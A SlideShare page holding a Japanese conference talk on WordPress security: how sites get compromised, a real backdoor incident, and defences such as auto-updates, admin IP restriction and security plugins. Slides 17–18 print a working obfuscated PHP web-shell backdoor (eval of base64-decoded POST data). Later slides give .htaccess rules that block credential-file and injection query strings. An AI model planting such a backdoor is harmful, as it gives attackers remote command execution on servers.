SlideShare ist ein Scribd-Unternehmen logo
1 von 44
Downloaden Sie, um offline zu lesen
WordPress のセキュリティ対策
YAMAMOTO Takashi
yamachan@piwikjapan.org
@yamachan5593
Piwik Japan Team
Jan 30, 2016 at Wordbench
YAMAGUCHI, Ube
自己紹介
■ OpenSolaris ユーザー会(最近サボり気味)
□ https://osdn.jp/projects/jposug/
■ Piwikjapan 日本語パッチ作成/OSC 東京での発表
□ https://osdn.jp/projects/piwik-fluentd/
■ 山口県出身、ここの窓から見えるとこに通うこと 8 年
■ 趣味ロシア語
□ 今年はこの界隈ではあまりいい話はないと思います
2 of 44
自己紹介: ロシア語
■ ロシアはウクライナの電力システムをとめたのか?1
□ クリスマスの前(12/23 のこと)ウクライナの 70 万人が電力を奪わ
れました。
多くからロシアのハッカーの関与が指摘されています。これは恐ら
く新しいハッカー攻撃の幕開けとなるはずです。
1
http://inosmi.ru/social/20160111/235008174.html (2016.01.11)
3 of 44
自己紹介: WordPress
■ WordPress とのかかわり
□ 最近 WordPress での納入が多いのでどうしてもね
□ 奥さんの自営サイト
□ 去年手ひどくバックドアを仕掛けられる、自営サイトでよかったよ
4 of 44
これから話す内容
■ 脆弱性はかく招かれるのか
■ 事例
■ 対策
□ 自動アップデート
□ 魔改造
□ ID パスワードの管理/admin の管理
□ セキュリティ対策プラグインの導入
5 of 44
脆弱性はかく招かれるのか
6 of 44
WordPress の脆弱性を招くきっかけ2
1. バージョンが古い
2. ID パスワード/admin の管理をしていない
3. いろいろまぜこぜにしているサーバー
4. Web に関する無知
5. 手抜き
2
https://www.smashingmagazine.com/2012/10/four-malware-infections-wordpress/
7 of 44
1-1. バージョンが古い “WordPress”
■ コアチームはパッチを速やかに出しているけど
■ アップデートしろっていうメールも来るけど
■ でも 3 つも 4 つも管理しているとやってられない。メンドクサイ
8 of 44
1-2. バージョンが古い “公式プラグイン/テーマ”
■ 速やかにアップデートしろって admin 画面にでるけど
■ 3 つも 4 つも管理しているとやってられない。メンドクサイ
9 of 44
1-3. バージョンの古い “非公式プラグイン/テーマ”
■ メンテナンスされていない野良プラグイン/テーマを使用
■ 魔改造→これは厄介
□ どこかのプラグイン/テーマを魔改造して納品しよる
□ 魔改造のもとになっているプラグイン/テーマがアップデートされて
もパッチを当てられない
□ 魔改造業者のプログラミングレベルがまちまち
テーマに SQL を仕込まれて(!)しかもプレースホルダ使っていな
いとか(SQL の組み立てが全部 concat)
公開ディレクトリにアンケートフォームの結果を CSV で格納してみ
たり
10 of 44
2. ID パスワード/admin の管理をしていない
■ wp-admin(管理画面)が世界中から見えている
■ 変更しないかぎり管理者 admin は誰でも知っている id となる
□ id を推測する手間が省ける
□ 短いパスワードだと総当たり攻撃でばれる
11 of 44
3. いろいろまぜこぜにしているサーバー
■ ひとつのサーバーに複数の WordPress を違うポリシーで運用
□ アップデートをサボっている WordPress を足場にして全体をやら
れる
バックドアを仕込まれて eval が実行可能になればなんでもあり
□ あとで仕込まれたバックドア例を示します
12 of 44
4. Web に関する無知
■ アップデートの重要性がわからない
■ 納入業者が悲惨
□ パーミッションを 777 にしたら動いたのでそのままで運用
□ 実行権限とはなんなのかさえわかっていない場合も · · ·
□ 魔改造とのコラボ
13 of 44
5. 手抜き
■ パッチをあてない
■ ログを見ていない
□ 総当たりで id パスワードが漏れていてもわからない
□ バックドアをしこまれていて妙に負荷が高くなっていてもわからない
■ upload ディレクトリから php 実行権限をはく奪していない
(これを手抜きというのはちょっと厳しいかも)
(これは WordPress の欠陥という人もいる)
14 of 44
事例
15 of 44
何をされたのか
■ wp-admin(管理画面)が世界中から見えていた
■ 恐らく管理画面のパスワードをハックされ、バックドアプログラ
ムを wp-contents/upload ディレクトリにおかてしまった
■ バックドアから大量のスパムメール(数万通)が発信された
■ アップデートは自動でかけていた
■ WordPress では upload ディレクトリで php が実行できる
□ .htaccess などで制限しない限り実行できてしまう
□ upload ディレクトリがあるのは WordPress に限ったことではない
16 of 44
wp-contents/upload にバックドア
■ 大抵は難読化済、つまり grep で文字検索できないようにする
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].
$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’]));
?>
17 of 44
wp-contents/upload にバックドア
■ 大抵は難読化済、つまり grep で文字検索できないようにする
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].
$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’]));
?>
■ base64 でエンコードして nf76775 に POST してしまえばサーバ
上でコマンド実行!
■ つまりこういうこと
<?php
if (isset($_POST[’nf76775’]))
eval(base64_decode($_POST[’nf76775’]));
■ 一カ所でもやれたら終わりです
18 of 44
実演
19 of 44
対策
(自動アップデート)
20 of 44
アップデート(デフォルトの挙動)
■ WordPress 本体/テーマのアップデートはデフォルトで自動
□ WordPress 本体はマイナーバージョンに限る(例: 4.2.x の “x”)
□ ftp の設定が必要
■ プラグインは自動ではない
■ wp-config.php または add filter でデフォルトの挙動を変更できる
■ この際プラグインも自動にしてしてしまいましょう
□ 管理サイトがいくつあっても OK
□ 深夜にパッチが出ても OK
□ パッチとともに脆弱性が公表されたらあっという間に攻撃が来ますよ
21 of 44
アップデート準備(wp-config.php)
■ WordPress 自身が FTP でアップデートできるように設定します
■ 自動アップデートをするときは必須
define(’FTP_BASE’, ’/’); → chroot されていれば
define(’FTP_USER’, ’ftpusername’);
define(’FTP_PASS’, ’ftppassword’);
define(’FTP_HOST’, ’localhost’); → 自分自身(127.0.0.1)
■ 更に FTP は外部からアクセスさせないようにします
22 of 44
アップデート(wp-config.php)
■ メジャーアップデートしたければ wp-config.php に
define( ’WP AUTO UPDATE CORE’, true );
□ true - メジャーバージョン自動アップデート
□ minor - マイナーバージョン自動アップデート(デフォルト)
■ テーマは自動アップデート
■ プラグインの自動アップデートは指示できない
■ つまりプラグインは警告のみでアップデートは手動
23 of 44
アップデート(add filter: その 1)
■ add filter を設定すれば、プラグインの自動アップデートが可能
// 開発版を使用しているとき
add_filter(’allow_dev_auto_core_updates’, ’__return_true’ );
// マイナーバージョン(デフォルト true)
add_filter(’allow_minor_auto_core_updates’, ’__return_true’ );
// メジャーバージョン
add_filter(’allow_major_auto_core_updates’, ’__return_true’ );
// プラグイン
add_filter(’auto_update_plugin’, ’__return_true’ );
// テーマ(デフォルト true)
add_filter(’auto_update_theme’, ’__return_true’ );
■ add filter は、wp-config.php に加えられないので must-use プラグ
インへの設定が推奨される(次で説明します)
24 of 44
アップデート(add filter: その 2)
■ must-use プラグイン3とはプラグインなんだけれども
□ いつも有効。admin とかユーザーが誤って無効することはできない
□ wp-content/mu-plugins ディレクトリに入れるだけ
□ 普通のプラグインより先、アルファベット順に PHP を読み込み
つまり、他のプラグインが hook していてもその前に
must-use プラグインが hook してしまいます
□ ログインしなくても読み込まれる
3
https://codex.wordpress.org/Must Use Plugins
25 of 44
アップデート(add filter: その 3)
■ 結局どうすればいいのか - 以下のファイルを置きさえすればいい
■ デフォルトの自動アップデートに
プラグインとメジャーアップデートを付加する設定
wordpress/wp-content/mu-plugins/00my_plugin.php
<?php
/*
Plugin Name: 00my_pingin
Plugin URI: http://selfnavi.com
Description: forcibly define add_filter(s).
Version: 0.1
Author: yamachan
Author URI: http://selfnavi.com
License: GPL
*/
add_filter(’auto_update_plugin’, ’__return_true’);
add_filter(’allow_major_auto_core_updates’, ’__return_true’);
26 of 44
対策
(魔改造)
27 of 44
魔改造納入対策
■ 改造前にそもそも同機能のプラグインがないかよく探させること
■ どうしても機能が足りず魔改造を発注するときは
□ セキュリティ上の問題は納入後も改変を行うよう契約する
□ 既存の WordPress、プラグイン、テーマのアップデートができるこ
とを検証させる
下手につくられると魔改造のおかげで WordPress 自体のアップデー
トができなくなることがある
□ セキュリティ診断を行ったあと納入させる
■ なんかいい手はないものか · · ·
28 of 44
対策
(ID パスワードの管理/admin の管理)
29 of 44
ID パスワードの管理/admin の管理: その 1
■ プラグインで管理画面を見えにくくする(あとで紹介)
□ admin という ID を変更
□ wp-login.php、wp-admin を見えなくする
□ 総当たりに強いパスワード制限を付ける
30 of 44
ID パスワードの管理/admin の管理: その 2
■ 管理画面を IP アドレスで制限する
□ 職場の IP アドレスのみ管理画面にアクセス可能とする
□ 家とかモバイルだとグローバル IP が変わるので OpenVPN で閉域
IP 空間を作る
世田谷自宅
Suttle DS437T
外
Docomo
E-mobile
スーパーホテル
お名前.com
自営 Wordpress
Conoha
PiwikJapan
借りているGMO
OpenVPN
10.X.4.Y
OpenVPN
10.X.4.106
OpenVPN
10.X.4.102
常時接続
常時接続
31 of 44
ID パスワードの管理/admin の管理: その 3
■ 車内/家限定の /etc/httpd/conf/httpd.conf 設定例
<Directory /export/website/example.com/wordpress/wp-admin>
order deny,allow
Deny from all
allow from 10.233.3.0/24 → 閉域網の local IP に限定
</Directory>
<Files wp-login.php>
order deny,allow
Deny from all
allow from 10.233.3.0/24 → 閉域網の local IP に限定
</Files>
32 of 44
対策
(セキュリティ対策プラグインの導入)
33 of 44
操作履歴をとるプラグインの導入
■ 普段から不正な操作がないかどうかよく見ておきましょう
■ 操作履歴をとるプラグインがいろいろあります
■ キーワード audit でプラグインを探しましょう
■ WP Event Ticketing(など)
□ 誰が、いつ、何をしたかが記録に残る
あなたはログインしました
あなたはログアウトしました
Simple history
プラグインが有効
Simple history プラグイン
がインストール
34 of 44
iThemes Security プラグイン4
の導入: その 1
■ iThemes Security で出来るセキュリティ対策
□ プラグインで可能なセキュリティ対策を危険度別に表示
□ 管理画面を利用しない時間帯に管理画面をロックする機能
□ サーバー上にあるファイルの変更を一日毎に検知
□ ログイン画面のスラッグを変更してログイン画面を他者から隠す
□ アップロードディレクトリ上での PHP 実行を無効化できる
□ ログイン試行回数を制限。設定回数を超えると管理画面をロック
□ 不審なクエリー文字列をフィルターできる
□ 拒否したいユーザー及び bot の IP アドレスを指定して接続を拒否
□ 総当たり攻撃から守るパスワードを強制
□ XML-RPC サービスの停止
□ (有料)マルウェアのスキャン
■ このほかにもたくさん機能があります
■ 太字をざっと説明します、バックドア対策に有効かと
4
http://netaone.com/wp/ithemes-security/
35 of 44
iThemes Security プラグインの導入: その 2
■ プラグインで可能なセキュリティ対策を危険度別に表示
Fix It
36 of 44
iThemes Security プラグインの導入: その 3
■ サーバー上にあるファイルの変更を一日毎に検知
□ 正体不明のファイルが勝手にアップロードされている?
□ 業者がコンテンツの修正をしたけど · · · どこを改変した?
~ 略 ~
~ 略 ~
対象ファイル
無視する拡張子
一日毎のファイル比較を有効にします
37 of 44
iThemes Security プラグインの導入: その 4
■ アップロードディレしクトリ上での PHP 実行を無効化できる
□ たとえバックドアプログラムを upload されても実行できません
□ 最後の砦です
管理画面の抑制、アップロードファイルのチェック、
XML-RPC の不可などと併用しましょう
□ wordpress/.htaccess にルールを付け足してくれます
RewriteRule ^wp-content/uploads/.*.(?:php[1-6]?|pht|phtml?)$
- [NC,F]
38 of 44
iThemes Security プラグインの導入: その 5
■ 不審なクエリー文字列をフィルターできる
□ git、hg ディレクトリが公開されていることはありませんか?
□ wordpress/.htaccess にルールを付け足してくれます
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %QUERY_STRING ../ [NC,OR]
RewriteCond %QUERY_STRING ^.*.(bash|git|hg|log|svn|swp|cvs) [N
RewriteCond %QUERY_STRING etc/passwd [NC,OR]
RewriteCond %QUERY_STRING boot.ini [NC,OR]
- 略 -
RewriteCond %QUERY_STRING (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %QUERY_STRING mosConfig_[a-zA-Z_]1,21(=|%3D) [NC,OR
RewriteCond %QUERY_STRING base64_encode.*(.*) [NC,OR]
- 略 -
RewriteRule ^.* - [F]
</IfModule>
39 of 44
iThemes Security プラグインの導入: その 6
■ XML-RPC サービスの停止
□ XML-RPC を使うと、高速簡単に総当たり攻撃できます
パスワードがばれたらバックドアアップロード、記事の投稿、楽勝
です
□ コメントスパムも減るかもしれません
□ wordpress/.htaccess にルールを付け足してくれます
<files xmlrpc.php>
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order allow,deny
Deny from all
</IfModule>
</files>
40 of 44
実演
41 of 44
まとめ
42 of 44
まとめ
■ WordPress アップデートは自動にしましょう
■ wp-admin を隠しましょう
■ 発注、納入するときは魔改造プラグインのチェックを行いましょう
■ セキュリティ対策プラグインを導入しましょう
□ 操作履歴をとる
□ ファイル更新履歴をとる
□ バックアップをとる
□ uploads ディレクトリで PHP を実行できないようにする
□ XML-RPC サービスの制限をする
43 of 44
ご清聴ありがとうございました
44 of 44

Weitere ähnliche Inhalte

Was ist angesagt?

Nseg20120825
Nseg20120825Nseg20120825
Nseg20120825
hiro345
 
攻撃者の行動を追跡せよ -行動パターンに基づく横断的侵害の把握と調査- by 朝長 秀誠, 六田 佳祐
攻撃者の行動を追跡せよ -行動パターンに基づく横断的侵害の把握と調査- by 朝長 秀誠, 六田 佳祐攻撃者の行動を追跡せよ -行動パターンに基づく横断的侵害の把握と調査- by 朝長 秀誠, 六田 佳祐
攻撃者の行動を追跡せよ -行動パターンに基づく横断的侵害の把握と調査- by 朝長 秀誠, 六田 佳祐
CODE BLUE
 
Fuel php勉強会東京vol3 発表資料_スパムフィルタパッケージ
Fuel php勉強会東京vol3 発表資料_スパムフィルタパッケージFuel php勉強会東京vol3 発表資料_スパムフィルタパッケージ
Fuel php勉強会東京vol3 発表資料_スパムフィルタパッケージ
web2citizen
 

Was ist angesagt? (6)

ブラウザで動く準同型暗号
ブラウザで動く準同型暗号ブラウザで動く準同型暗号
ブラウザで動く準同型暗号
 
ssmjp-wireless-hack-with-macbook
ssmjp-wireless-hack-with-macbookssmjp-wireless-hack-with-macbook
ssmjp-wireless-hack-with-macbook
 
Nseg20120825
Nseg20120825Nseg20120825
Nseg20120825
 
ownCloudについて
ownCloudについてownCloudについて
ownCloudについて
 
攻撃者の行動を追跡せよ -行動パターンに基づく横断的侵害の把握と調査- by 朝長 秀誠, 六田 佳祐
攻撃者の行動を追跡せよ -行動パターンに基づく横断的侵害の把握と調査- by 朝長 秀誠, 六田 佳祐攻撃者の行動を追跡せよ -行動パターンに基づく横断的侵害の把握と調査- by 朝長 秀誠, 六田 佳祐
攻撃者の行動を追跡せよ -行動パターンに基づく横断的侵害の把握と調査- by 朝長 秀誠, 六田 佳祐
 
Fuel php勉強会東京vol3 発表資料_スパムフィルタパッケージ
Fuel php勉強会東京vol3 発表資料_スパムフィルタパッケージFuel php勉強会東京vol3 発表資料_スパムフィルタパッケージ
Fuel php勉強会東京vol3 発表資料_スパムフィルタパッケージ
 

Ähnlich wie WordBench YAMAGUCHI at Ube

Djangoとweb2pyをapacheに組込む
Djangoとweb2pyをapacheに組込むDjangoとweb2pyをapacheに組込む
Djangoとweb2pyをapacheに組込む
2bo 2bo
 
今最もアツイdistribution Gentoo Linuxについて
今最もアツイdistribution Gentoo Linuxについて今最もアツイdistribution Gentoo Linuxについて
今最もアツイdistribution Gentoo Linuxについて
Takuto Matsuu
 
OCamlでWebアプリケーションを作るn個の方法
OCamlでWebアプリケーションを作るn個の方法OCamlでWebアプリケーションを作るn個の方法
OCamlでWebアプリケーションを作るn個の方法
Hiroki Mizuno
 
Osc10do linux nextstep
Osc10do linux nextstepOsc10do linux nextstep
Osc10do linux nextstep
smokey monkey
 

Ähnlich wie WordBench YAMAGUCHI at Ube (20)

Osc2013 tokyospring
Osc2013 tokyospringOsc2013 tokyospring
Osc2013 tokyospring
 
Piwik fluentd at OSC Tokyo 2015 Fall
Piwik fluentd at OSC Tokyo 2015 FallPiwik fluentd at OSC Tokyo 2015 Fall
Piwik fluentd at OSC Tokyo 2015 Fall
 
Djangoとweb2pyをapacheに組込む
Djangoとweb2pyをapacheに組込むDjangoとweb2pyをapacheに組込む
Djangoとweb2pyをapacheに組込む
 
もう XAMPP / MAMP はいらない!
Vagrant で作る PHP 開発環境
もう XAMPP / MAMP はいらない!
Vagrant で作る PHP 開発環境もう XAMPP / MAMP はいらない!
Vagrant で作る PHP 開発環境
もう XAMPP / MAMP はいらない!
Vagrant で作る PHP 開発環境
 
Node予備校 vol.1 名古屋
Node予備校 vol.1 名古屋Node予備校 vol.1 名古屋
Node予備校 vol.1 名古屋
 
今最もアツイdistribution Gentoo Linuxについて
今最もアツイdistribution Gentoo Linuxについて今最もアツイdistribution Gentoo Linuxについて
今最もアツイdistribution Gentoo Linuxについて
 
WP-CLI (WordBench Sendai 20140628)
WP-CLI (WordBench Sendai 20140628)WP-CLI (WordBench Sendai 20140628)
WP-CLI (WordBench Sendai 20140628)
 
Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方
 
Ansible2.0と実用例
Ansible2.0と実用例Ansible2.0と実用例
Ansible2.0と実用例
 
Osoljp201204
Osoljp201204Osoljp201204
Osoljp201204
 
OCamlでWebアプリケーションを作るn個の方法
OCamlでWebアプリケーションを作るn個の方法OCamlでWebアプリケーションを作るn個の方法
OCamlでWebアプリケーションを作るn個の方法
 
初心者がOpenIndianaで自宅サーバを作ったよって話
初心者がOpenIndianaで自宅サーバを作ったよって話初心者がOpenIndianaで自宅サーバを作ったよって話
初心者がOpenIndianaで自宅サーバを作ったよって話
 
FAV001_はじめよう自己監視
FAV001_はじめよう自己監視FAV001_はじめよう自己監視
FAV001_はじめよう自己監視
 
20150317 firefox os勉強会
20150317 firefox os勉強会20150317 firefox os勉強会
20150317 firefox os勉強会
 
今時のDev opsの取り組み事例集
今時のDev opsの取り組み事例集今時のDev opsの取り組み事例集
今時のDev opsの取り組み事例集
 
Osc10do linux nextstep
Osc10do linux nextstepOsc10do linux nextstep
Osc10do linux nextstep
 
【アシアル塾】Linux超入門編・第二回 仮想サーバー上にLAMP環境を構築してみよう
【アシアル塾】Linux超入門編・第二回 仮想サーバー上にLAMP環境を構築してみよう【アシアル塾】Linux超入門編・第二回 仮想サーバー上にLAMP環境を構築してみよう
【アシアル塾】Linux超入門編・第二回 仮想サーバー上にLAMP環境を構築してみよう
 
Osc2013 kansai@kyoto ZABBIX-JP クラウド環境監視効率化
Osc2013 kansai@kyoto ZABBIX-JP クラウド環境監視効率化Osc2013 kansai@kyoto ZABBIX-JP クラウド環境監視効率化
Osc2013 kansai@kyoto ZABBIX-JP クラウド環境監視効率化
 
Drupal補完計画
Drupal補完計画Drupal補完計画
Drupal補完計画
 
JAMstackは眠らない
JAMstackは眠らないJAMstackは眠らない
JAMstackは眠らない
 

WordBench YAMAGUCHI at Ube

  • 2. 自己紹介 ■ OpenSolaris ユーザー会(最近サボり気味) □ https://osdn.jp/projects/jposug/ ■ Piwikjapan 日本語パッチ作成/OSC 東京での発表 □ https://osdn.jp/projects/piwik-fluentd/ ■ 山口県出身、ここの窓から見えるとこに通うこと 8 年 ■ 趣味ロシア語 □ 今年はこの界隈ではあまりいい話はないと思います 2 of 44
  • 3. 自己紹介: ロシア語 ■ ロシアはウクライナの電力システムをとめたのか?1 □ クリスマスの前(12/23 のこと)ウクライナの 70 万人が電力を奪わ れました。 多くからロシアのハッカーの関与が指摘されています。これは恐ら く新しいハッカー攻撃の幕開けとなるはずです。 1 http://inosmi.ru/social/20160111/235008174.html (2016.01.11) 3 of 44
  • 4. 自己紹介: WordPress ■ WordPress とのかかわり □ 最近 WordPress での納入が多いのでどうしてもね □ 奥さんの自営サイト □ 去年手ひどくバックドアを仕掛けられる、自営サイトでよかったよ 4 of 44
  • 5. これから話す内容 ■ 脆弱性はかく招かれるのか ■ 事例 ■ 対策 □ 自動アップデート □ 魔改造 □ ID パスワードの管理/admin の管理 □ セキュリティ対策プラグインの導入 5 of 44
  • 7. WordPress の脆弱性を招くきっかけ2 1. バージョンが古い 2. ID パスワード/admin の管理をしていない 3. いろいろまぜこぜにしているサーバー 4. Web に関する無知 5. 手抜き 2 https://www.smashingmagazine.com/2012/10/four-malware-infections-wordpress/ 7 of 44
  • 8. 1-1. バージョンが古い “WordPress” ■ コアチームはパッチを速やかに出しているけど ■ アップデートしろっていうメールも来るけど ■ でも 3 つも 4 つも管理しているとやってられない。メンドクサイ 8 of 44
  • 9. 1-2. バージョンが古い “公式プラグイン/テーマ” ■ 速やかにアップデートしろって admin 画面にでるけど ■ 3 つも 4 つも管理しているとやってられない。メンドクサイ 9 of 44
  • 10. 1-3. バージョンの古い “非公式プラグイン/テーマ” ■ メンテナンスされていない野良プラグイン/テーマを使用 ■ 魔改造→これは厄介 □ どこかのプラグイン/テーマを魔改造して納品しよる □ 魔改造のもとになっているプラグイン/テーマがアップデートされて もパッチを当てられない □ 魔改造業者のプログラミングレベルがまちまち テーマに SQL を仕込まれて(!)しかもプレースホルダ使っていな いとか(SQL の組み立てが全部 concat) 公開ディレクトリにアンケートフォームの結果を CSV で格納してみ たり 10 of 44
  • 11. 2. ID パスワード/admin の管理をしていない ■ wp-admin(管理画面)が世界中から見えている ■ 変更しないかぎり管理者 admin は誰でも知っている id となる □ id を推測する手間が省ける □ 短いパスワードだと総当たり攻撃でばれる 11 of 44
  • 12. 3. いろいろまぜこぜにしているサーバー ■ ひとつのサーバーに複数の WordPress を違うポリシーで運用 □ アップデートをサボっている WordPress を足場にして全体をやら れる バックドアを仕込まれて eval が実行可能になればなんでもあり □ あとで仕込まれたバックドア例を示します 12 of 44
  • 13. 4. Web に関する無知 ■ アップデートの重要性がわからない ■ 納入業者が悲惨 □ パーミッションを 777 にしたら動いたのでそのままで運用 □ 実行権限とはなんなのかさえわかっていない場合も · · · □ 魔改造とのコラボ 13 of 44
  • 14. 5. 手抜き ■ パッチをあてない ■ ログを見ていない □ 総当たりで id パスワードが漏れていてもわからない □ バックドアをしこまれていて妙に負荷が高くなっていてもわからない ■ upload ディレクトリから php 実行権限をはく奪していない (これを手抜きというのはちょっと厳しいかも) (これは WordPress の欠陥という人もいる) 14 of 44
  • 16. 何をされたのか ■ wp-admin(管理画面)が世界中から見えていた ■ 恐らく管理画面のパスワードをハックされ、バックドアプログラ ムを wp-contents/upload ディレクトリにおかてしまった ■ バックドアから大量のスパムメール(数万通)が発信された ■ アップデートは自動でかけていた ■ WordPress では upload ディレクトリで php が実行できる □ .htaccess などで制限しない限り実行できてしまう □ upload ディレクトリがあるのは WordPress に限ったことではない 16 of 44
  • 17. wp-contents/upload にバックドア ■ 大抵は難読化済、つまり grep で文字検索できないようにする <?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3]. $sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]); if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’])); ?> 17 of 44
  • 18. wp-contents/upload にバックドア ■ 大抵は難読化済、つまり grep で文字検索できないようにする <?php $sF="PCT4BA6ODSE_"; $s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3]. $sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]); $s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]); if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’])); ?> ■ base64 でエンコードして nf76775 に POST してしまえばサーバ 上でコマンド実行! ■ つまりこういうこと <?php if (isset($_POST[’nf76775’])) eval(base64_decode($_POST[’nf76775’])); ■ 一カ所でもやれたら終わりです 18 of 44
  • 21. アップデート(デフォルトの挙動) ■ WordPress 本体/テーマのアップデートはデフォルトで自動 □ WordPress 本体はマイナーバージョンに限る(例: 4.2.x の “x”) □ ftp の設定が必要 ■ プラグインは自動ではない ■ wp-config.php または add filter でデフォルトの挙動を変更できる ■ この際プラグインも自動にしてしてしまいましょう □ 管理サイトがいくつあっても OK □ 深夜にパッチが出ても OK □ パッチとともに脆弱性が公表されたらあっという間に攻撃が来ますよ 21 of 44
  • 22. アップデート準備(wp-config.php) ■ WordPress 自身が FTP でアップデートできるように設定します ■ 自動アップデートをするときは必須 define(’FTP_BASE’, ’/’); → chroot されていれば define(’FTP_USER’, ’ftpusername’); define(’FTP_PASS’, ’ftppassword’); define(’FTP_HOST’, ’localhost’); → 自分自身(127.0.0.1) ■ 更に FTP は外部からアクセスさせないようにします 22 of 44
  • 23. アップデート(wp-config.php) ■ メジャーアップデートしたければ wp-config.php に define( ’WP AUTO UPDATE CORE’, true ); □ true - メジャーバージョン自動アップデート □ minor - マイナーバージョン自動アップデート(デフォルト) ■ テーマは自動アップデート ■ プラグインの自動アップデートは指示できない ■ つまりプラグインは警告のみでアップデートは手動 23 of 44
  • 24. アップデート(add filter: その 1) ■ add filter を設定すれば、プラグインの自動アップデートが可能 // 開発版を使用しているとき add_filter(’allow_dev_auto_core_updates’, ’__return_true’ ); // マイナーバージョン(デフォルト true) add_filter(’allow_minor_auto_core_updates’, ’__return_true’ ); // メジャーバージョン add_filter(’allow_major_auto_core_updates’, ’__return_true’ ); // プラグイン add_filter(’auto_update_plugin’, ’__return_true’ ); // テーマ(デフォルト true) add_filter(’auto_update_theme’, ’__return_true’ ); ■ add filter は、wp-config.php に加えられないので must-use プラグ インへの設定が推奨される(次で説明します) 24 of 44
  • 25. アップデート(add filter: その 2) ■ must-use プラグイン3とはプラグインなんだけれども □ いつも有効。admin とかユーザーが誤って無効することはできない □ wp-content/mu-plugins ディレクトリに入れるだけ □ 普通のプラグインより先、アルファベット順に PHP を読み込み つまり、他のプラグインが hook していてもその前に must-use プラグインが hook してしまいます □ ログインしなくても読み込まれる 3 https://codex.wordpress.org/Must Use Plugins 25 of 44
  • 26. アップデート(add filter: その 3) ■ 結局どうすればいいのか - 以下のファイルを置きさえすればいい ■ デフォルトの自動アップデートに プラグインとメジャーアップデートを付加する設定 wordpress/wp-content/mu-plugins/00my_plugin.php <?php /* Plugin Name: 00my_pingin Plugin URI: http://selfnavi.com Description: forcibly define add_filter(s). Version: 0.1 Author: yamachan Author URI: http://selfnavi.com License: GPL */ add_filter(’auto_update_plugin’, ’__return_true’); add_filter(’allow_major_auto_core_updates’, ’__return_true’); 26 of 44
  • 28. 魔改造納入対策 ■ 改造前にそもそも同機能のプラグインがないかよく探させること ■ どうしても機能が足りず魔改造を発注するときは □ セキュリティ上の問題は納入後も改変を行うよう契約する □ 既存の WordPress、プラグイン、テーマのアップデートができるこ とを検証させる 下手につくられると魔改造のおかげで WordPress 自体のアップデー トができなくなることがある □ セキュリティ診断を行ったあと納入させる ■ なんかいい手はないものか · · · 28 of 44
  • 30. ID パスワードの管理/admin の管理: その 1 ■ プラグインで管理画面を見えにくくする(あとで紹介) □ admin という ID を変更 □ wp-login.php、wp-admin を見えなくする □ 総当たりに強いパスワード制限を付ける 30 of 44
  • 31. ID パスワードの管理/admin の管理: その 2 ■ 管理画面を IP アドレスで制限する □ 職場の IP アドレスのみ管理画面にアクセス可能とする □ 家とかモバイルだとグローバル IP が変わるので OpenVPN で閉域 IP 空間を作る 世田谷自宅 Suttle DS437T 外 Docomo E-mobile スーパーホテル お名前.com 自営 Wordpress Conoha PiwikJapan 借りているGMO OpenVPN 10.X.4.Y OpenVPN 10.X.4.106 OpenVPN 10.X.4.102 常時接続 常時接続 31 of 44
  • 32. ID パスワードの管理/admin の管理: その 3 ■ 車内/家限定の /etc/httpd/conf/httpd.conf 設定例 <Directory /export/website/example.com/wordpress/wp-admin> order deny,allow Deny from all allow from 10.233.3.0/24 → 閉域網の local IP に限定 </Directory> <Files wp-login.php> order deny,allow Deny from all allow from 10.233.3.0/24 → 閉域網の local IP に限定 </Files> 32 of 44
  • 34. 操作履歴をとるプラグインの導入 ■ 普段から不正な操作がないかどうかよく見ておきましょう ■ 操作履歴をとるプラグインがいろいろあります ■ キーワード audit でプラグインを探しましょう ■ WP Event Ticketing(など) □ 誰が、いつ、何をしたかが記録に残る あなたはログインしました あなたはログアウトしました Simple history プラグインが有効 Simple history プラグイン がインストール 34 of 44
  • 35. iThemes Security プラグイン4 の導入: その 1 ■ iThemes Security で出来るセキュリティ対策 □ プラグインで可能なセキュリティ対策を危険度別に表示 □ 管理画面を利用しない時間帯に管理画面をロックする機能 □ サーバー上にあるファイルの変更を一日毎に検知 □ ログイン画面のスラッグを変更してログイン画面を他者から隠す □ アップロードディレクトリ上での PHP 実行を無効化できる □ ログイン試行回数を制限。設定回数を超えると管理画面をロック □ 不審なクエリー文字列をフィルターできる □ 拒否したいユーザー及び bot の IP アドレスを指定して接続を拒否 □ 総当たり攻撃から守るパスワードを強制 □ XML-RPC サービスの停止 □ (有料)マルウェアのスキャン ■ このほかにもたくさん機能があります ■ 太字をざっと説明します、バックドア対策に有効かと 4 http://netaone.com/wp/ithemes-security/ 35 of 44
  • 36. iThemes Security プラグインの導入: その 2 ■ プラグインで可能なセキュリティ対策を危険度別に表示 Fix It 36 of 44
  • 37. iThemes Security プラグインの導入: その 3 ■ サーバー上にあるファイルの変更を一日毎に検知 □ 正体不明のファイルが勝手にアップロードされている? □ 業者がコンテンツの修正をしたけど · · · どこを改変した? ~ 略 ~ ~ 略 ~ 対象ファイル 無視する拡張子 一日毎のファイル比較を有効にします 37 of 44
